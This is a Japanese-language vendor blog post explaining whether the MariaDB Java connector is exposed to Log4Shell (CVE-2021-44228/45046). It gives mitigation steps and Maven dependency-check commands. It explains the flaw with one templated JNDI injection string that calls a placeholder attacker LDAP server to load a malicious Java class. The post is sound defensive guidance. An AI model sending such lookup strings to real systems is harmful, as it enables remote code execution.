MariaDB Javaコネクタは、Log4で最近発見されたセキュリティの脆弱性の影響を受けますか?デフォルトでは、JavaコネクタはLog4jを使用しません。ただし、SLF4jを使用するように構成している場合は、読み続けてください。
MariaDB JDBCドライバーの範囲を超える情報については、Log4ShellとMariaDBをお読みください。
注 :このブログは2021-12-15に更新され、CVE-2021-45046に関する詳細が含まれています。
Log4jの脆弱性
Apache Log4jは、Javaアプリケーション用の人気のあるオープンソースのロギングフレームワークです。クラウドベンダーやメールサービスプロバイダーなど、さまざまなオープンソースおよびエンタープライズプロジェクトで使用されています。 2021年12月9日、Log4jにゼロデイ脆弱性が発見され、リモートでコードが実行され、ハッカーがシステム内で任意のコードを実行できるようになりました。この脆弱性は「Log4Shell」と呼ばれ、CVE-2021-44228として追跡されます。
つまり、この脆弱性により、攻撃者はJNDIルックアップ文字列を挿入して、たとえば、リモートLDAPサーバー(攻撃者によって制御される)を呼び出し、悪意のあるJavaクラスを返すことができます。
${jndi:ldap://[attacker_site]/[malicious_java_class]}
このような文字列がLog4jによってログに記録されると、悪意のあるJavaクラスが任意のコードを実行する可能性があります(たとえば、静的なコードブロックを介して)。
影響を受けるバージョン
幸い、影響を受けるのは2.15.0より前のLog4jバージョン2.xのみです。詳細については、ApacheLog4jのセキュリティの脆弱性のページを参照してください。この脆弱性は、Log4jバージョン1.xには存在しません。
CVE-2021-44228を軽減する方法
脆弱性を軽減するための最善の戦略は、プロジェクトのLog4j依存関係を更新することです。メッセージルックアップを削除するバージョン2.16.0は、すでに利用可能です。これを迅速にリリースするためのチームへの小道具。
更新 :Log4j 2.16.0は、CVE-2021-45046として追跡される2番目の脆弱性も修正します。
MariaDB JDBCドライバーは、Log4j2.xを使用しません。ただし、SLF4Jをサポートしています。 SLF4JにLog4jバインダーを使用しているかどうかを確認し、使用している場合は、それに応じてLog4jをアップグレードするか、次の構成変数を設定します。
-Dlog4j2.formatMsgNoLookups=true
または、次の環境変数を設定します:
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
注 :ロギングは、log
によって明示的に設定された場合にのみ有効になります パラメータ。 Log4jの他に、Jakarta Commons Logging、Logback、JavaLoggingAPIなどの他のSLF4Jバインディングを選択することもできます。
Mavenを使用している場合は、次のコマンドを実行して、プロジェクトがLog4jに依存しているかどうかを確認できます。
mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core
脆弱なプロジェクトで得られる出力の例を次に示します。
何らかの理由でプロジェクトがコンパイルされない場合は、代わりに次を実行できます:
mvn help:effective-pom
log4j-core
を検索します 依存関係を確認し、使用されているバージョンを確認してください。
追加情報
ブログ内のリンクのリスト:
- MariaDBJavaコネクタ
- SLF4j
- 関連ブログLog4ShellとMariaDB
- CVE-2021-44228
- ApacheLog4jのセキュリティの脆弱性
- ApacheLog4jバージョン2.16.0
log
パラメータ